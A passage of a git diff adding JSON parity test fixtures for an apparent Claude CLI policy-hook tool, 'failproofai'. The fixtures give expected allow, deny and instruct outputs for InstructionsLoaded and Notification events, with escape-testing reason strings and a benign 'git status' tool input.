&a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/InstructionsLoaded/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/InstructionsLoaded/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..1b69baeb --- /dev/null +++ b/__tests__/parity/fixtures/claude/InstructionsLoaded/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/InstructionsLoaded/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/InstructionsLoaded/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..cdf81ace --- /dev/null +++ b/__tests__/parity/fixtures/claude/InstructionsLoaded/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/InstructionsLoaded/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/InstructionsLoaded/deny__tool-present__one-policy.json new file mode 100644 index 00000000..dd83d6d0 --- /dev/null +++ b/__tests__/parity/fixtures/claude/InstructionsLoaded/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/InstructionsLoaded/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/InstructionsLoaded/deny__tool-present__two-policies.json new file mode 100644 index 00000000..66fb346f --- /dev/null +++ b/__tests__/parity/fixtures/claude/InstructionsLoaded/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/InstructionsLoaded/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/InstructionsLoaded/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..b8c939b3 --- /dev/null +++ b/__tests__/parity/fixtures/claude/InstructionsLoaded/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"InstructionsLoaded\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/InstructionsLoaded/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/InstructionsLoaded/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..669e6b6e --- /dev/null +++ b/__tests__/parity/fixtures/claude/InstructionsLoaded/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"InstructionsLoaded\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/InstructionsLoaded/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/InstructionsLoaded/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..de034cb7 --- /dev/null +++ b/__tests__/parity/fixtures/claude/InstructionsLoaded/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"InstructionsLoaded\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/InstructionsLoaded/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/InstructionsLoaded/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..e389e9f1 --- /dev/null +++ b/__tests__/parity/fixtures/claude/InstructionsLoaded/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"InstructionsLoaded\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/Notification/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/Notification/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..3b02ef4b --- /dev/null +++ b/__tests__/parity/fixtures/claude/Notification/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/Notification/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/Notification/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..e039fcaa --- /dev/null +++ b/__tests__/parity/fixtures/claude/Notification/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/Notification/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/Notification/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..c7ca986a --- /dev/null +++ b/__tests__/parity/fixtures/claude/Notification/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/Notification/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/Notification/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..8d8c02f9 --- /dev/null +++ b/__tests__/parity/fixtures/claude/Notification/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/Notification/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/Notification/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..3c9088c3 --- /dev/null +++ b/__tests__/parity/fixtures/claude/Notification/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/Notification/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/Notification/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..b9d07a08 --- /dev/null +++ b/__tests__/parity/fixtures/claude/Notification/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/Notification/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/Notification/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..7a3ce07b --- /dev/null +++ b/__tests__/parity/fixtures/claude/Notification/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/Notification/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/Notification/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..0baed19f --- /dev/null +++ b/__tests__/parity/fixtures/claude/Notification/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/Notification/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/Notification/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..d26ca777 --- /dev/null +++ b/__tests__/parity/fixtures/claude/Notification/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/Notification/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/Notification/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..4215ecce --- /dev/null +++ b/__tests__/parity/fixtures/claude/Notification/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/Notification/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/Notification/deny__tool-present__one-policy.json new file mode 100644 index 00000000..7ffb6f55 --- /dev/null +++ b/__tests__/parity/fixtures/claude/Notification/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/Notification/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/Notification/deny__tool-present__two-policies.json new file mode 100644 index 